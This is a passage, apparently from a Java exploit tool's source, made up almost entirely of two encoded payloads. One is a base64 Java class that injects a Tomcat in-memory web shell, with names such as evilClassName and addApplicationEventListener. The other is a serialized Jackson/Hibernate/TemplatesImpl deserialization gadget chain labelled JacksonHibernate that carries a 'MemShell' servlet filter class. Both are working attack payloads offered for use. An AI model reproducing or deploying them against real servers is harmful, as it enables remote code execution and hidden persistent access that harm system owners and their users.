JlYWQ7BwBNAQAQamF2YS9sYW5nL09iamVjdAcATwEAEGphdmEvbGFuZy9UaHJlYWQHAFEBABFqYXZhL3V0aWwvSGFzaE1hcAcAUwEAE2phdmEvdXRpbC9BcnJheUxpc3QHAFUKAFYAKQEACmdldFRocmVhZHMIAFgBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWgBbCgACAFwBAAdnZXROYW1lDABeAAYKAFIAXwEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAGEBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAYwBkCgAPAGUBAAZ0YXJnZXQIAGcBAAVnZXRGVgwAaQBbCgACAGoBAAZ0aGlzJDAIAGwIAEQBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAbwBwCgBUAHEBAA1qYXZhL3V0aWwvU2V0BwBzCwB0ADEBAANnZXQMAHYAPAoAVAB3AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB5AHoKAFAAewEAD2phdmEvbGFuZy9DbGFzcwcAfQoAfgBfAQAPU3RhbmRhcmRDb250ZXh0CACAAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDACCAIMLACUAhAEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAhgEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIgAiQoAUgCKAQAIdG9TdHJpbmcMAIwABgoAfgCNAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAjwEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAJEBAAlyZXNvdXJjZXMIAJMIAB0BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcAlgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAEgCYCgCXAJkBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAmwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAJ0BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCfAQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCjAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAK0BAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAK8AsAoAUgCxAQAOZ2V0Q2xhc3NMb2FkZXIMALMAiQoAfgC0DAAFAAYKAAIAtgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMALgAuQoArgC6AQALbmV3SW5zdGFuY2UMALwAOAoAfgC9DAAKAAYKAAIAvwEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAMEAwgoAAgDDAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAMUAxgoAAgDHCACnBwCmAQARamF2YS9sYW5nL0ludGVnZXIHAMsBAARUWVBFDADNAKoJAMwAzgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwA0ADRCgB+ANIBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHANQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA1gDXCgDVANgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA2gDbCgDMANwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAN4A3woA1QDgAQAHb2JqZWN0cwEAE1tMamF2YS9sYW5nL09iamVjdDsBAAlsaXN0ZW5lcnMBAAlhcnJheUxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAppc0luamVjdGVkAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylaDADnAOgKAAIA6QEAG2FkZEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcggA6wEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWgDtCgACAO4BABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzCADwBwDjAQAQamF2YS91dGlsL0FycmF5cwcA8wEABmFzTGlzdAEAJShbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL3V0aWwvTGlzdDsMAPUA9goA9AD3AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAEgD5CgBWAPoKAFYAhAEAHHNldEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnMIAP0BAAd0b0FycmF5AQAVKClbTGphdmEvbGFuZy9PYmplY3Q7DAD/AQAKAFYBAQEAAWkBAAFJAQANZXZpbENsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHNpemUBAAMoKUkMAQcBCAoAVgEJAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DAB2AQsKAFYBDAEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAETAQAHZm9yTmFtZQwBFQC5CgB+ARYBAAxkZWNvZGVCdWZmZXIIARgBAAlnZXRNZXRob2QMARoA0QoAfgEbAQAQamF2YS51dGlsLkJhc2U2NAgBHQEACmdldERlY29kZXIIAR8BAAZkZWNvZGUIASEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBIwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBLgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HATABAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBMgoBLwApAQAFKFtCKVYMABIBNQoBMQE2AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASATgKATMBOQEABHJlYWQBAAUoW0IpSQwBOwE8CgEzAT0BAAV3cml0ZQEAByhbQklJKVYMAT8BQAoBLwFBAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFDAUQKAS8BRQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAUsBTAoAAgFNAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAU8KAVAA2AoBUAB3AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwFTAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFWAVcKAH4BWAEADWdldFN1cGVyY2xhc3MMAVoAegoAfgFbCgFUABQBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BAAZtZXRob2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\";\n\n//    private final String JacksonHibernate = \"rO0ABXNyADhjb20uZnIudGhpcmQub3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5iYWcuVHJlZUJhZ5SVecHY59tsAwAAeHBzcgAbY29tLmZyLmJhc2UuQ2xhc3NDb21wYXJhdG9yPcWODpZ5cDcCAAFMAAljbGFzc05hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIm9yZy5mcmVlaGVwLnV0aWwuVmVyc2lvbkNvbXBhcmF0b3J3BAAAAAFzcgA1Y29tLmZyLnRoaXJkLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyADZjb20uZnIudGhpcmQuZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADljb20uZnIudGhpcmQuZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4ADEwADHRoZWFsZ29yaXRobXEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAww6ztAAVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAACAAAAAnNyADBjb20uZnIudGhpcmQub3JnLmhpYmVybmF0ZS5lbmdpbmUuc3BpLlR5cGVkVmFsdWURzZRN7PjJlwIAAkwABHR5cGV0ACZMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAtY29tLmZyLnRoaXJkLm9yZy5oaWJlcm5hdGUudHlwZS5Db21wb25lbnRUeXBlT4Yv3g1qsR4CAA5aABxjcmVhdGVFbXB0eUNvbXBvc2l0ZXNFbmFibGVkWgASaGFzTm90TnVsbFByb3BlcnR5WgAFaXNLZXlJAAxwcm9wZXJ0eVNwYW5MAA9jYW5Eb0V4dHJhY3Rpb250ABNMamF2YS9sYW5nL0Jvb2xlYW47WwAHY2FzY2FkZXQANVtMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvZW5naW5lL3NwaS9DYXNjYWRlU3R5bGU7TAARY29tcG9uZW50VHVwbGl6ZXJ0AD5MY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ACdMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvRW50aXR5TW9kZTtbAAtqb2luZWRGZXRjaHQAJ1tMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvRmV0Y2hNb2RlO1sADXByb3BlcnR5TmFtZXN0ABNbTGphdmEvbGFuZy9TdHJpbmc7WwATcHJvcGVydHlOdWxsYWJpbGl0eXQAAltaWwANcHJvcGVydHlUeXBlc3QAJ1tMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAM1tMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHVwbGUvVmFsdWVHZW5lcmF0aW9uO0wACXR5cGVTY29wZXQAN0xjb20vZnIvdGhpcmQvb3JnL2hpYmVybmF0ZS90eXBlL1R5cGVGYWN0b3J5JFR5cGVTY29wZTt4cgAsY29tLmZyLnRoaXJkLm9yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXUhc2QoE7mAQIAAHhwAAAAAAAAAXBwc3IAQGNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5Qb2pvQ29tcG9uZW50VHVwbGl6ZXLAdWoHxv5YYQIABEwADmNvbXBvbmVudENsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAlvcHRpbWl6ZXJ0AD1MY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvYnl0ZWNvZGUvc3BpL1JlZmxlY3Rpb25PcHRpbWl6ZXI7TAAMcGFyZW50R2V0dGVydAA3TGNvbS9mci90aGlyZC9vcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAN0xjb20vZnIvdGhpcmQvb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL1NldHRlcjt4cgBEY29tLmZyLnRoaXJkLm9yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LkFic3RyYWN0Q29tcG9uZW50VHVwbGl6ZXJWIdJtsJC2vwIABVoAEmhhc0N1c3RvbUFjY2Vzc29yc0kADHByb3BlcnR5U3BhblsAB2dldHRlcnN0ADhbTGNvbS9mci90aGlyZC9vcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAL0xjb20vZnIvdGhpcmQvb3JnL2hpYmVybmF0ZS90dXBsZS9JbnN0YW50aWF0b3I7WwAHc2V0dGVyc3QAOFtMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvcHJvcGVydHkvYWNjZXNzL3NwaS9TZXR0ZXI7eHAAAAAAAHVyADhbTGNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyO2FB1QdK53BMAgAAeHAAAAABc3IASmNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtD3GyErnkRPICAARMAA5jb250YWluZXJDbGFzc3EAfgAUTAAOZGVjbGFyaW5nQ2xhc3NxAH4AFEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AIHhwdnIAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAgTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHBxAH4AJnQAE2dldE91dHB1dFByb3BlcnRpZXN0AAR0ZXN0cHBwcHBwcHBwcHVyACdbTGNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnR5cGUuVHlwZTthBF8dEsaLOgIAAHhwAAAAAXEAfgAScHBzcQB+ACIAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAACdwyv66vgAAADQB6QoAfgEGCAEHCQBaAQgLAEYBCQgBCgsBCwEMCAENCgEOAQ8HARAKAEIBEQoACQESCgEOARMHARQKAA0BBggAgAoADQEVCACCCQBaARYIAKUKARcBGAoBFwEZCAEaCgEbARwIAK8HAR0HALIJAD8BHgoAGQEfCgEgASEHASIKAB4BBgsARgEjCgEkASUKAB4BJgoBDgEnBwEoCgA/ASkKASABKgoAGQErCgAkASwHAS0KARcBLggA0goAWgEvBwDTCgEXATAIATEKAEIBMggBMwgAywcBNAgBNQgAmwgBNggAyQcBNwsAOAE4CwA4ATkIAMUKACQBOggBOwoAGQE8BwE9CgA/AT4IAT8HAUAJAFoBQQoAQgFCCQBaAUMHAUQHAUUIAUYHAUcHAO0HAUgKABkBSQoAGQFKCgBLASEKAEsBSwgBTAsARwFNCAFOCwBGAU8LAEcBTwsARwFQCgFRAVIKAVEBUwoBUQFUCwBGAVUHAVYKAFoBBgkAWgFXCQBaAVgLAVkBWggBWwcBXAcBXQgBXgkBXwFgCgBLAWELAVkBYgkBYwFkCgFlAWYLAPIBZwgBaAkBXwFpCAFqCgAZAWsIAWwIAOsIAW0KAEIBbggBbwoAWgFwBwFxCAFyCAFzCAF0CAF1CAF2CQF3AXgIAXkKAXoBewoAWgF8CgBaAX0HAX4HAX8BAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHcGF0dGVybgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABE5BTUUBAApIRUFERVJfS0VZAQAMSEVBREVSX1ZBTFVFAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABRMZXZpbGNsYXNzL01lbVNoZWxsOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwGAAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsHAYEBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAFrAQAHc2Vzc2lvbgEAIExqYXZheC9